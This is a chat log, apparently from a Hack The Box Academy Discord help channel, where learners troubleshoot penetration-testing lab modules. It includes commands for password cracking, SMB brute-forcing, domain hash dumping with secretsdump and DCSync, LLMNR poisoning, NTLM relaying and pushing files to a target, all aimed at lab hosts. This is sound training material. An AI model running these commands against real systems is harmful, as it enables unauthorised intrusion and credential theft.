modules

[craggy zinc]

so

[sly dome]

set up your own machine and connect through the VPN

[craggy zinc]

where? i tried doing VirtualBox but im too dumb to figure it out

[sly dome]

[devout torrent]

[craggy zinc]

sure

ill try again

[thorn urchin]

I dont want to sound mean but if thats a hurdle for you right now you may not be ready for htb

[craggy zinc]

ik ik but i dont get what the error means

[thorn urchin]

decent amount of foundational knowledge is pretty necessary, and setting up a local vm is one of em

[cedar void]

For the second question of the IMPI module when I try to find the password for the given hash , I get this error afer I typed the following command :

hashcat -m 7300 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Hashfile 'hash.txt' on line 1 (admin:...4a8295c6a9e3b8e4f8b0cb8660419892): Token length exception

I created the 'hash.txt' file myself

https://academy.hackthebox.com/module/112/section/1245

[thorn urchin]

hashcat gets grumpy often if you include a username in there without adding --username

sometimes even then

[cedar void]

so do I need to change my hash.txt file at all?

[thorn urchin]

if adding --username doesnt work, try removing the admin: and having JUST the hash

[sly dome]

or also try JTR

[tight mesa]

hello y'all, I'm having issues to achieve the exercise Web Server Pivoting with Rpivot from Pivoting, Tunneling, and Port Forwarding module, a little bit of context, I had set up the server & client.py accordingly, and when I establish the connection to the target the browser is opened but not reachable, receiving a time out error

any idea, clue, thought..!!!

[thorn urchin]

jtr can work too, but its a good idea to learn hashcat quirks for the future

[sly dome]

its more powerful with GPU configuration yea

[craggy zinc]

nvm i just figured it out i needed to install ubuntu.iso lol

[cedar void]

Got a new issue when I removed the username too.

[lusty thicket]

maybe you could trying creating a username file with only the username in it

idk tho

[thorn urchin]

no

make sure just the hash is in there and youre specifying the right mode

[orchid pine]

attack common services easy lab and medium lab

wtf

it doesnty make sens

[thorn urchin]

https://hashcat.net/wiki/doku.php?id=example_hashes

[craggy zinc]

guys how does nmap work?

[cedar void]

isn't 7300 the right mode for IMPI

[craggy zinc]

call me dumb but... i got into htb yesterday

[cedar void]

*IPMI

[lusty thicket]

yes

[sly dome]

try to remove "\n" character if its in there

cat hash_too.txt | tr -d '\n' | sponge hash_too.txt

[lusty thicket]

cat hash_too.txt

👍

[craggy zinc]

YES i finally installed VirtualBox !! 😎

[sly dome]

lol myb

[tidal kelp]

I'm currently on the metasploit module / Payloads. The Q is "Exploit the Apache Druid service and find the flag.txt file. Submit the contents of this file as the answer."
when I run nmap. I get the following result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

What I'm having a hard time to grasp is. How am I suppose to make the connetion to utlize the exploit for Apache Druid (if it wasn't mentioned in the question), based out of that info?

Am I missing something really obvious in my enumeration?

[cedar void]

Anyone else having trouble starting their instance machine on pawnbox

[tidal kelp]

works for me

[cedar void]

So strange. I can't ask for help on the academy.htb page because the message block doesn't appear

[fiery berry]

If you read this you will get to know at least on which port the service is listening so you can try to fingerprint the version:
https://druid.apache.org/docs/latest/tutorials/

another probably "smart" way is when selecting a module from Metasploit you can read the default options. Unless the administrator changed the listening port to something else other than the default one you can find it out and start fingerprinting the service

[tidal kelp]

ok

I think the block in my head right now is more of how do I know what exploit to look for in metasploit, only based out of the nmap enumeration? The question in this case kinda gives away what to look for in metasploit

if that make any sense

I'm no seeing the matrix right now..

[thorn urchin]

trial and error sorta

[fiery berry]

well it really gives only one option metasploit

[thorn urchin]

matching up versions n such

[fiery berry]

(in this case at least)

[thorn urchin]

sometimes a metasploit exploit just isnt gunna be the path anyways

[cedar void]

Can someone help me? I can't connect to any instance of a pwnbox and I am having issues with contacting support too

[craggy zinc]

is it normal to have

files and counting

[zinc marsh]

why powerview isn't working

[misty current]

.\

[zinc marsh]

does that care?

I think I have always imported it with ./

[tight mesa]

Hi y'all, who can give me a hand with Web Server Pivoting with Rpivot section from Pivoting module?

[mortal basin]

🔥

[misty current]

Oh

That one looks cool.

[misty current]

Not sure, but you could give it a try and see if it throws the same error.

[orchid pine]

┌──(shadowalker㉿kali)-[~/Downloads]
└─$ crackmapexec smb 10.129.203.10 -u users.list -p pws.list --local-auth
SMB 10.129.203.10 445 WIN-HARD [*] Windows 10.0 Build 17763 x64 (name:WIN-HARD) (domain:WIN-HARD) (signing:False) (SMBv1:False)
SMB 10.129.203.10 445 WIN-HARD [+] WIN-HARD\aartjan:liverpool

┌──(shadowalker㉿kali)-[~/Downloads]
└─$ crackmapexec smb 10.129.203.10 -u users.list -p rockyou.txt --local-auth
SMB 10.129.203.10 445 WIN-HARD [*] Windows 10.0 Build 17763 x64 (name:WIN-HARD) (domain:WIN-HARD) (signing:False) (SMBv1:False)
SMB 10.129.203.10 445 WIN-HARD [+] WIN-HARD\aartjan:123456

┌──(shadowalker㉿kali)-[~/Downloads]
└─$ crackmapexec smb 10.129.203.10 -u users.list -p pws.list
SMB 10.129.203.10 445 WIN-HARD [*] Windows 10.0 Build 17763 x64 (name:WIN-HARD) (domain:WIN-HARD) (signing:False) (SMBv1:False)
SMB 10.129.203.10 445 WIN-HARD [+] WIN-HARD\aartjan:liverpool its giving false positive

anyoine know why

┌──(shadowalker㉿kali)-[~/Downloads]
└─$ hydra -L users.list -P pws.list smb://10.129.203.10
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-21 15:14:53
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 26307 login tries (l:79/p:333), ~26307 tries per task
[DATA] attacking smb://10.129.203.10:445/
[ERROR] invalid reply from target smb://10.129.203.10:445/
and hydra its like this

[rustic sage]

did you verify the module was actually imported?

[acoustic owl]

All these new web modules are cool. 🤩🔥

[sly dome]

smb2

[orchid pine]

crackmap support smb 2

still giving false postive

[sly dome]

ah weird never seen it before try another version of cme

[orchid pine]

cxan u suggest one

[sly dome]

latest always

6.1 i think

[slender shoal]

@acoustic owl is probably done with soc analyst already

[acoustic owl]

No, not yet

[sly dome]

HAHA

[acoustic owl]

This path is also not yet complete

So I definitely still lack knowledge in this field.

[fleet sorrel]

how to solve the second question in Navigation in Linux Fundamentals? What is the index number of the "sudoers" file in the "/etc" directory? I tried ls -i and stat commands but it says wrong answer. Pls help me

[sly dome]

ls -h to see command help

or man ls

[fleet sorrel]

already did that

[sly dome]

there you go

[fleet sorrel]

but it says "wrong answer"

[fathom pendant]

He said he already tried and it didn't accept the answer

Literally read just above where he shows using stat

[sly dome]

i do not think the index of the sudoers file is above 1 million entries

send screenshot of ls -i

[tight mesa]

anyone who I can ask abuot rpivot

[fathom pendant]

Just do ls -lia

And see if there's a difference

[sly dome]

ls -i /etc/sudoers

[fathom pendant]

I'm assuming they're in the /etc/ folder

[sly dome]

its weird thats above 1 million

reset the pwnbox?

[fathom pendant]

Are you connected to the machine?

[fleet sorrel]

ok

[fleet sorrel]

yeah

ait

[sly dome]

ok he’s getting the sudoers of pwnbox

[fathom pendant]

I meant are you ssh into the spawned ip

[sly dome]

🤣

[fleet sorrel]

no

I am connected to my pwnbox

[sly dome]

its the sudoers from target

[fleet sorrel]

no

[fathom pendant]

That's the problem then

Both answers require you to be ssh into the target

[sly dome]

just tested

[fleet sorrel]

ok

I'll try

[sly dome]

and as i did remember it was below 1 million

[fathom pendant]

Well the first one, not necessarily

It literally instructs you to do so

[fleet sorrel]

it works now! thank you

[fathom pendant]

It's called, reading all the instructions on the page

[fleet sorrel]

It is not specified that I have to connect to the target

there is just this

[fathom pendant]

Yes

Whenever you see that

Do it

[fleet sorrel]

ok

thanks

[sly dome]

thats FACTUALLY true

🤣 🤣

[fathom pendant]

Literally that is how you're meant to go through the modules

Otherwise you're just enumerating your own system

[tight mesa]

anyone, could have any idea what could be wrong here?

[lucid token]

will there be a cert for the new SOC Analyst path?

[acoustic owl]

Yes

But has not yet been announced.

[thorn urchin]

how is "SSH to IP with user USER and password PASSWORD" NOT specifying to connect to it??

[fleet sorrel]

I thought that I could find answers on my own machine

[rustic sage]

hello guys

is it alright htb?

[thorn urchin]

ye I get that mixup. Im just confused about the confidence to say it doesnt say to connect to the machine and then say it only has that message to SSH in

[tight mesa]

anyone who have completed the rpivot exercise, I'm completely stuck and struggling with it..!!!

I'd like to discuss what I did so far and understand what could be going on..!!!

anyone whilling to help..!!!

[odd tendon]

Forgive me for asking a silly question however, the second part of this is the ntlm hash for the krbtgt account correct(31d6cfe0d16ae931b73c59d7e0c089c0)?

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[fringe shell]

sure is

[odd tendon]

For context, I am doing the Documentation & Reporting Practice Lab module which is part of the HTB CPTS track. The question is

“After achieving Domain Admin, submit the NTLM hash of the KRBTGT account.”

I cracked the NTDS file and found the krbtgt account hash, however it keeps saying "incorrect answer". I don't have any extra spaces in my answer either.

[fringe shell]

hmmm i'm not sure how similar the labs are for each person, but that's not the hash I had

[fringe shell]

I have notes on the lab, so if you want a sanity check, you can dm

[odd tendon]

I believe you, I probably just used the wrong method for retrieving it ig

[fringe shell]

I used secretsdump

[odd tendon]

same that's how I cracked the ntds

[sly dome]

try DCSync from mimikatz ?

[odd tendon]

yup just did it and it worked

[sly dome]

i dont know if it will return a different value (it should not xd)

should it? wow

im wondering

[odd tendon]

yeah idk why I got a different answer

[sly dome]

im actually concerned xD

if you find out please tell us lmao

[odd tendon]

will do!

[fringe shell]

did you use secrets dump like impacket-secretsdump -just-dc-user inlanefreight/KRBTGT inlanefreight/<USER>:<PASSWORD>@172.16.5.5

[sly dome]

what i think is that you dumped krbtgt ntlm from another machine

and with dcsync attack it dumped the one from the domain controller

[fringe shell]

that makes sense

[sly dome]

which is the intended from a dcsync attack lol

what is obv is different hashes for the same user = different machines xD

i do not really know if this makes sense, i am far away from that module

but im confused

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes

[odd tendon]

I dun goofed, I used "secretsdump.py -ntds ntds.dit -system SYS Local", went back and retraced my steps

[slender shoal]

Lol

The path was announced

[sly dome]

ahhhh

ok ok cool

it makes sense now

thx!

[odd tendon]

I think it gave me the accounts whose hashes were stored but not synced. I probably had an outdated krbtgt ticket right? Thanks @fringe shell and @sly dome!

[sly dome]

i think so

i cannot find other answer

but still concerned, fk i want to reach those modules!!!!

lets keep working.

[rustic sage]

yo pups

[atomic briar]

Man I'm absolutely frothing this platform right now. About half way through CPTS and it's litterally the thing I look forward to each day sitting down to smash out some learning. Admittedly I'm taking it slowly to write good notes and patch my many knowledge gaps (of which there are many ) outside of security in general IT but man, cannot get enough of this shit right now. Can't wait to sit CPTS and hook into SOC. Will be super interesting to see how these certs play out in the job market in the coming years.

Just wanted to say thanks to the peeps in here that seem to be the "regulars" helping everyone out.

[rustic sage]

bub ?

🤦‍♂️

[orchid pine]

HELO guysonce again

┌──(shadowalker㉿kali)-[~]
└─$ smbclient -N -L //10.129.203.10

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    Home            Disk      
    IPC$            IPC       Remote IPC

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.203.10 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
i can list the shares with nul session

but i cannot use smbmap

└─$ smbmap -H 10.129.203.10

________  ___      ___  _______   ___      ___       __         _______

/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "
(: _/ \ \ // |(. |_) 🙂 \ \ // | / \ (. |) 🙂
___ \ /\ /. ||: / /\ /. | /' /\ \ |: /
__/ \ |: . |(| _ \ |: . | // __' \ (| /
/" \ 🙂 |. \ /: ||: |) :)|. \ /: | / / \ \ /|__/
(/ ||_/||(/ ||_/||(/ ___)(_______)

 SMBMap - Samba Share Enumerator | Shawn Evans - [e-mail]
                 https://github.com/ShawnDEvans/smbmap

[] Detected 1 hosts serving SMB
[] Established 0 SMB session(s)

and enum4linux-ng its saying thats is using random username and with every user name its said

[tidal mango]

what module and section are you working on?

[sly dome]

with smbmap u need -u ''

[orchid pine]

Skill assessment hard lab

Tried to brut force the service

I got nothing

Im trying to use the null session

[tidal mango]

skill assessment of what module?

[orchid pine]

Attack common services

[rose loom]

hi

[tidal mango]

what did you try for your brute force?

[orchid pine]

Crackmap it giving the first cred username/password as true

[tidal mango]

were you using a user list or a specific username?

[orchid pine]

User list

With password list

[tidal mango]

Are you on the first question?

[orchid pine]

Im not looking into question

Im trying to get was i can without looking into question

Cuz sometimes it will gives you hints

I started the machine

Nmap 2 services looks interesting

Rdp mssql SMB

I started with smb to look what i can get

[south pivot]

Hi

[tight mesa]

hi, who are HTB moderator in this channel, to ask some about Rpivot exercise?

[digital dove]

How is it that the firewall does not allow any package to reach the device, but I have a response? This is the basis of the response if there is no package received.

[misty current]

Did you specify the proxy configuration in proxychains file?

[split parcel]

hey guys i set up double pivoting in the last module.

and when i did an proxychains nmap, i can see some ports are open.

however after awhile, the ports become close. any idea why?

i.e.: port 22 was open initially. after awhile, i perform nmap again, it showed me close

[modern falcon]

If you use metasploit for double pivoting, it might be because the connection created by metasploit is not stable

[weak fractal]

in WEB ATTACKS , Advanced File Disclosure exercise I've used CDATA method but I can't get the flag ,is there a problem in my code ?

[young trellis]

Leverage membership in the DnsAdmins group to escalate privileges. Submit the contents of the flag located at c:\Users\Administrator\Desktop\DnsAdmins\flag.txt
( I have escalated the privileges and am in current domain admins group but still can't read the flag.txt ) can anyone help me ?

[fiery berry]

are you running an elevated prompt? Anyway worked for me with a reverse shell

[young trellis]

elevated prompt ? meaning ?

[fathom pendant]

As admin

[devout torrent]

If you did everything in that step try to sign off in windows rdp machine

And then rdp back in

i needed to do that, while i was in administrator group i did not have privileges until i did that @young trellis

[young trellis]

I did login/logout and also gpupdate /force but also got acces denied

@devout torrent

and also ran the powershell as admin also couldn't get the access

is the lab broken or I am missing something

[devout torrent]

Maybe restart it and try again, but yea i needed to press signoff in the start menu and then log back in to get it to work

[simple merlin]

Hey, someone has done "MODERN WEB EXPLOITATION TECHNIQUES - SSRF Basic Filter Bypasses" and available in pm?

[upper haven]

DM me

[restive verge]

Can anyone help with password mutation please? Described the problem on the forum https://forum.hackthebox.com/t/password-attacks-password-mutations/298653

[stable mulch]

Hello any one done with coder box?

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands and ask that at #boxes

[vital adder]

make sure you don't have any issue with both the password.list and custom.rule file

also that's the right command

[rustic sage]

Hello everyone there will by a python -m http.server in powershell? Im running a github powershell server but i have access not allowed

[lean tiger]

Hello guys, can anyone help me with this question please as im confused:
ps: I do not want the answer just someone to make it more clear to me to understand

Module: WORKING WITH IDS / IPS
Table of contents: Suricata Rule Development Part 2 (Encrypted Traffic)

Question:

There is a file named trickbot.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to a certain variation of the Trickbot malware. Enter the precise string that should be specified in the content keyword of the rule with sid 100299 within the local.rules file so that an alert is triggered as your answer.

[vital adder]

if you want to upload file from a target windows machine and if you have rdp you can try updog

[rustic sage]

How can do a POST request in powershell, im trying a lot of things but nothings work!
Invoke-RestMethod -Uri $url -Method Post -InFile $rutaArchivo

[misty current]

you can do Invoke-WebRequest -Uri $url -Method POST -Body $data

[rustic sage]

Invoke-WebRequest : Cannot send a content-body with this verb-type.
At line:1 char:1
+ Invoke-WebRequest -Uri http://10.10.14.190:8000/uploads -Body poc.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Invoke-WebRequest], ProtocolViolationException
    + FullyQualifiedErrorId : System.Net.ProtocolViolationException,Microsoft.PowerShell.Commands.InvokeWebRequestComm
   and

[split parcel]

I think its -OutFile instead of -Body

i.e.: Invoke-WebRequest -Uri http://10.10.14.190:8000/uploads -OutFile poc.txt

[rustic sage]

is doing a GET

[split parcel]

$postParams = @{username='me';moredata='qwerty'}
Invoke-WebRequest -Uri http://example.com/foobar -Method POST -Body $postParams

[rustic sage]

i want to POST a FILe

[fathom pendant]

This may seem like a bait, but updog is an actual tool

[tawny shell]

Hi, can someone help me with this Assessment?
Module : Broken Authentication, Default Credentials

I have tried the default username file from seclists and rockyou but can't seem to find the password? Can someone tell me which file to use?

[rustic sage]

Im using python3 -m uploadserver

[vital adder]

i still don't get the updog joke 🤣

[vital adder]

hint check one of the given link in that section

also a another hint is you don't need to do any brute forcing

[rustic sage]

Hello, can somebody give me a tip how to solve : Log in as Grace and find the cookies for the slacktestapp.com website. Use the cookie to log in into slacktestapp.com from a browser within the RDP session and submit the flag. ? Im getting error: RDP disconnected! 1800 Your computer could not connect to another console session on the remote computer because you already have a console session in progress. in mRemotenG app

[rustic sage]

xfreerdp /v:10.129.203.122 /u:grace /p:'Pass' /dynamic-resolution

in pass you have to put the password that you obtain in the previous section

[rustic sage]

Thank you 🙂

Im stuck in this exercise 2 hours is to f*cking

[tawny shell]

You mean the SCADA Strangelove repo? Used that csv as well, didn't seem to work.

[vital adder]

not sure about the name but there is only something like 4 cred for that service

[quick crane]

who can help me this https://academy.hackthebox.com/module/113/section/2164

[tawny shell]

Thanks, was so stuck on hydra that didn't try. Was able to complete now.

[misty current]

You need to b64 encode the file you're trying to upload and store it in a variable and supply it to -Body $b64.

$b64 = [System.convert]::ToBase64String((Get-Content -Path '.\poc.txt' -Encoding Byte))
Invoke-WebRequest -Uri $uri -Method POST -Body $b64

[bold pebble]

How do I find websites that can be sql injection? Every web that I try it’s not good and it works with sql ? I tried like the module episode

[loud sparrow]

Can someone help Module: Active Directory Enumeration & Attacks, Section: LLMNR/NBT-NS Poisoning - from Windows. I cant capture the NTLMv2 hash with the tools Invoke-Inveigh or Inveigh.exe

[rustic sage]

the tools are executed correctly?

[loud sparrow]

.\Inveigh.exe is not running, Invoke-Inveigh runs but nothing after 15 min

[rustic sage]

Restart the box and try it again

i remeber that i was waiting 5 min

[vital adder]

hint make sure you are using the right "poisoning" mode

[misty current]

What's the exact command you're running. Would be more helpful-

[rustic sage]

I have a question, all windows protocols that use ntlm or ntlmv2 are vulnerable to pth attack or there can be restricted?

[loud sparrow]

Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y the same from the example

[misty current]

You can't pth with ntlmv2.
As long as there's ntlm authentication, you can pth.
There can be restriction but I don't know the deeps.

[rustic sage]

How can i know if some protocol (like rdp, or smb) have ntlm authentication?

[trail depot]

https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167

This article is great for explaining when pth works

Also checkout the PtH section of the module password attacks

[loud sparrow]

do you mean i need an option for Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

[misty current]

The command seems right, is it running in an elevated shell?

[loud sparrow]

i run it in powershell as user htb-student

[misty current]

is htb-student an administrator in that machine?
Tbh, I don't remember if you need administrator shell for Inveigh to work. But, if you're an administrator, open powershell in administrator and try running it.

[loud sparrow]

your right, thanks

[acoustic owl]

Go to ippsec.rocks and search for SQLi there.
Then you will find machines that are vulnerable to SQLi.

[fringe shell]

i have a feeling he's talking about actual websites lol

[acoustic owl]

Then I hope for his sake that he participates in a BugBounty program.
If he actually tries to hack his girlfriend's Instagram account, he'll probably get a visit from the police faster than he can hit enter 🤪

[bold pebble]

Lol

In my country the police didn’t give a shit about hack web

They don’t care

So who can help me ?

I tried like the module

[gray trellis]

Hi can someone help me with the sqlmap essentials in the final flag? i already found the payload but im doing something wrong..

[fringe shell]

this is all for ethical hacking my dude... no one in here gonna help ya and continuing will get you a swift ban i imagine

[bold pebble]

Ahh ok

[acoustic owl]

You're on the wrong server

[bold pebble]

Ok let’s talk about another thing

[fathom pendant]

The advice on doing bug bounty is so you can do it legit. Police may not care, but doesn't mean you can't be in legal issues for days

You should probably read #welcome and #rules

[bold pebble]

How do I bypass cloud flare

[fathom pendant]

Thats irrelevant to this channel

[bold pebble]

So what is the purpose of this channel?

[fathom pendant]

Talking about and giving advice on the academy modules

[bold pebble]

Ohh ok I have a question

I bought attacking with ffuz

[fathom pendant]

If they could read and apply critical thinking they'd be very upset

[bold pebble]

But I use parrot is

Is

[pale bone]

how to access retired machines? I can't access to it .

[fathom pendant]

You can use fuzz tools like ffuf in parrot

[hallow kiln]

VIP subscription

[bold pebble]

I don’t have it

[acoustic owl]

You need a subscription on the main plattform

[bold pebble]

Where I fine it ?

[bold pebble]

?

[pale bone]

pay money?

[fathom pendant]

Google

[sly dome]

🤦

[fathom pendant]

Yes

[acoustic owl]

Yes

[sly dome]

it’s friday

[fathom pendant]

Also most modules will have a link to the tool in the introduction section

[acoustic owl]

You mean script kiddies have weekend? 🤪

[sly dome]

it has to be

[pale bone]

I need to do practice related to the OSCP which machine you recommended to me?

[sly dome]

the ones from PG

https://www.offsec.com/labs/individual/

[pale bone]

in offensive security platform?

[sly dome]

yes

[pale bone]

did you take the certificate?

[sly dome]

nope

for more information refer to the official OffSec server

discord.gg/ offsec

[pale bone]

ok. No need to do practice in hack the box?

[sly dome]

not at all but no one can stop you

[pale bone]

Thank you. I will do their practice.

[simple sluice]

Hey guys, is they any HackTheBox labs or vm list that focus on getting access?

[acoustic owl]

Search on ippsec.rocks for the desired topic. The website will then show you which machines you can solve for that topic.

[rich perch]

Hello! I'm currently doing the CPTS path and I'm stuck at "Attacking Common Applications: Skills Assessment I". I found the bat file, but the only command I can execute is dir. Nothing else works, just returns blank output. Not sure what to do here, can someone give me a hint?

[rustic sage]

you can dm me

[heavy mango]

I'm stuck on the Miscellaneous Techniques section of the Windows Privilege Escalation module. Not sure if it's the vague question or me doing something wrong, but it's not accepting any of the answers I provide it. Could someone give me a nudge?

[craggy zinc]

guys is it normal when i try to access the terminal it keeps like loading for some time and then closes?

[fathom pendant]

I'm assuming you mean pwnbox?

[craggy zinc]

no

[sly dome]

its not the expected behavior

[craggy zinc]

it just loads and closes

[sly dome]

we can’t determine from here your problem

[fathom pendant]

Again this is very limited context

[craggy zinc]

do i give it more cpu?

[sly dome]

try in Linux related servers

[fathom pendant]

What vm are you using?

[craggy zinc]

oracle

[fathom pendant]

Could be a cpu issue, ram issue

Could be that the download got corrupted

¯_(ツ)_/¯

[craggy zinc]

everything else works fine but the terminal

wait it says software update

imma install it tbh

[fathom pendant]

Ugh gui update

[craggy zinc]

its a visual update? 💀

[fathom pendant]

No

I'm saying updating through gui

Instead of terminal

¯_(ツ)_/¯

[craggy zinc]

i cant go to the terminal thats what im trying to fix

lol

[fathom pendant]

Yeah lol that's why I'm saying it's the best you got

But more than likely not gonna fix your issue

[heavy mango]

there's always xterm 👀

[serene tinsel]

😳

[fiery berry]

as well as the tty

[craggy zinc]

what is that?

[heavy mango]

the standard X11 terminal emulator

[fathom pendant]

They're having trouble launching a terminal in general

[pine hearth]

I just completed the introduction module now it wont give me another terminal to use for introduction to Linux module, any way around this 😦

[fathom pendant]

Buy cubes

¯_(ツ)_/¯

Or set up your own vm

[craggy zinc]

loads and closes because yes

[fathom pendant]

Otherwise you're limited to one spawn per day

[fathom pendant]

It's likely you don't have enough resources allocated tbh

[craggy zinc]

do i give him another one?

[fathom pendant]

Yea your system had 8 total so it won't hurt

[craggy zinc]

k

there we go

it didn't work so imma give him x2

it still doesn't work

[quick cairn]

can anyone lend a hand for attacking enterprise networks? I'm at the Active Directory Compromise module, and I'm supposed to add a fake spn and then kerberoast the user

[lusty thicket]

why don’t you give him everything

¯_(ツ)_/¯

[fleet sorrel]

I can't solve "How many total packages are installed on target system? ". I tried apt list | wc -l but it gives wrong answer

[lusty thicket]

apt list —installed

[fleet sorrel]

it says 378 but it's still wrong

[blissful rover]

I'm supremely stuck on the Firewall and IDS/IPS Evasion - Hard Lab from the Network Enumeration with NMAP module; I spent at least 10 hours on this lab and would LOVE some help.

Trying to enumerate attack surface I've run:

-sS -p- -Pn -T4 -n --disable-arp-pings --packet-trace -v --reason

only found TCP 22 & 80 are OPEN. I've checked the saved output for any type=3/code=3 responses to check for filtered traffic that might be worth digging into. I found a port but if I try to add version scannig (-sV) or netcat on that port I get no response.

I've tried considering that the Hard Lab may be building on the Medium Lab and tried enumerating the UDP attack surface which almost immediately gets me locked out due to the limited number of attempts available on the target. Trying a more targeted approach I scanned just UDP 53 and that's apparently closed as well.

I've seen tips from other community members that you should attempt to build on the command used for the Easy Lab (OS Detection) which doesn't appear (to me) to have any meaningful carry over flags that I haven't already tried.

I've also seen tips from the community that indicate that if you down scan from the HTBA provided VM (in browser) that you won't get the correct results. Another SYN Scan from that VM didn't yeild any differences in scans run from my local VM.

Finally I've seen another tip for this lab about making use of proxies to avoid getting locked out???? This seems like a red herring since proxies haven't been covered WRT using NMAP in any practical way and this is only the second module in the entire path; that would be quite the curve ball but maybe I'm being naïve?

[blissful rover]

I honestly can't tell if I'm missing the point of the lesson, the question is poorly written, there's a bug in the lab, or this is a "stump the chump" scenario and I'm learning I'm a chump.

Can anyone help?

[lusty thicket]

apt list —installed | grep -w “/“ | wc -l

try now

[fleet sorrel]

0

idk what's wrong

[blissful rover]

There are two - in the --installed flag; if you're getting 0 that might be the source of your problem

[fleet sorrel]

still does not work

[lusty thicket]

the steps you’re supposed to use for that section have already been given in the section just before the skill assessments

go through it again

[blissful rover]

what happens if you run apt list --installed | wc -l?

[fleet sorrel]

it outputs 738 but I google it and used dpkg to list that and count that and now it outputs 737 which is the right answer but thanks for your help

[blissful rover]

wc -l might be counting a header row which threw your count off by 1 :/

[blissful rover]

It would appear that I somehow skipped over this entire lesson in this module....I think there might be a UI bug. Thanks for the tip; I wouldn't have thought to go back and check!

[blissful rover]

Okay I somehow skipped over 5 lessons in this module?!??!?!??!

I don' t know how I get myself dressed in the morning...

[devout pelican]

Attacking Common Applications - Skill assessment I
I can run dir command but type is not working to read the flag. I can't run any other command. Please help me.

[lusty thicket]

are you sure you’re in the same directory as the flag?

[devout pelican]

It is a different directory, and I can see it in dir output. But type command is not working in the current directory and in the destionation directory neither.

[lusty thicket]

||type C:\path to flag ||

[lusty thicket]

this?

[devout pelican]

Nope. And I can't use type on random file in the current directory.

[rustic sage]

you can dm me

[ashen knoll]

which channel should I use to ask related to the machine issue?

[slow bough]

If i end all the Penetration Tester do i get the certification at the end?

[orchid pine]

heloo guys on attack common services hard lab

[tight mesa]

is there any HTB moderator in this group?, cuz I found a mistake/error in the IP addressing described in the Rpivot section diagram.....

[tight mesa]

what about it?

[craggy zinc]

bro 💀

[orchid pine]

i enabled the xp_cmdshell to read the file in the linked services

[tight mesa]

ok.

[orchid pine]

my question is can i just use this cmnd to read the file without enabling the xp_cmdshell

EXEC('SELECT * FROM OPENROWSET(BULK N''C:\Users\Administrator\Desktop\flag.txt'', SINGLE_CLOB) AS Contents;') AT [LOCAL.TEST.LINKED.SRV];

[next tree]

Curious.. if i need to send a file remotely , how do i do that via python ? i know theres a quick one liner to share curent folder

[tight mesa]

until I got understood, not you can not....

[orchid pine]

python3 -m http.server

[craggy zinc]

this aint normal

[orchid pine]

but im not using xp_cmd shell on the cmnd

[orchid pine]

from linux to windows or windows to linux

or linux to linux

[next tree]

linux to linux

[orchid pine]

python3 -m http.server

in the directory you want to shre a file

and on the target machine

it wget http://IP_ADRESS:8000/YOUR_FILE

[pastel lance]

hey all, im struggling with a strange issue. So I am doing the AD Enumeration and attacks module, got rdp access to host 1, and am trying to import powerview with the following powershell command:
Import-Module C:\path\to\PowerView.ps1
which seems like it completed successfully but then when I try running the command:
Get-DomainUser it says that the command is not found

not sure what i could be doing wrong. The annoying part is im reviewing this module and i've solved it before i just cant remember how 😆

[shrewd hazel]

Working on the module "Cracking Into HackTheBox", specifically HTTP methods/codes. Still a bit confused on curl, GET and POST

curl natrually does those get functions, correct? but it also has the option to POST as well?

does that sound accurate?

[heavy mango]

Correct. There is an -X argument that lets you set the request method

[shrewd hazel]

ahhh gotcha. POST is used for login forms etc, but can also be used to send through word docs, pdfs, other forms of binary data?

so how is PUT different?

[heavy mango]

POST is used to send forms and data, yes. Binary data like documents and pictures is usually sent as multipart/form-data

Burp is a great tool that lets you see exactly what a request looks like

As for PUT, have a look here: https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/PUT

[shrewd hazel]

ive been just using the dev tools on web browser to view those requests

ahhh gotcha

[heavy mango]

Burp is similar, except with way more features and tools

and you're going to get familiar with it if you continue doing modules and boxes

[shrewd hazel]

perfect, very excited to be in this program.

got the undergrad and masters, comptia a+, net, sec, linux

figured it was about time to finally do this

[heavy mango]

you already did those?

[lyric inlet]

hello

ntlm relays attacks

ntlmrelayx> [*] HTTPD(80): Client requested path: /xml;
[*] HTTPD(80): Connection from 172.16.119.80 controlled, attacking target mssql://*****
[-] HTTPD(80): Exception in HTTP request handler: [('SSL routines', '', 'no protocols available')]

Anyone have the same problem ?

[hoary mauve]

for the crackmapexec module skills assessment, i can't seem to get my local chisel to connect to the server's chisel. in fact, for whatever reason, i can't even ping the server i'm supposed to be able to chisel too. i'm 100% positive it's not a vpn issue, because i can go to other modules with the same VPN file process running and don't have any issues. the advice and commands given in the text don't really seem to help

the command i run on my machine looks like this: sudo ./chisel client 10.129.204.182:8080 socks , the end of my /etc/proxychains.conf looks like this: socks5 127.0.0.1 1080 (with no other i'm not sure if i have the port numbers wrong, but i've tried every possible configuration of 1080 and 8080 in both the chisel command and the /etc/proxychains.conf file.

anyone have an idea of where i'm making a mistake?

[stable mulch]

Dammn coder box its getting in ny nerves

[lusty lotus]

Hello mates

[rustic sage]

i'd recommend - https://academy.hackthebox.com/module/details/158
||try adding a -v after client||

[rustic sage]

read #welcome and verify your account.
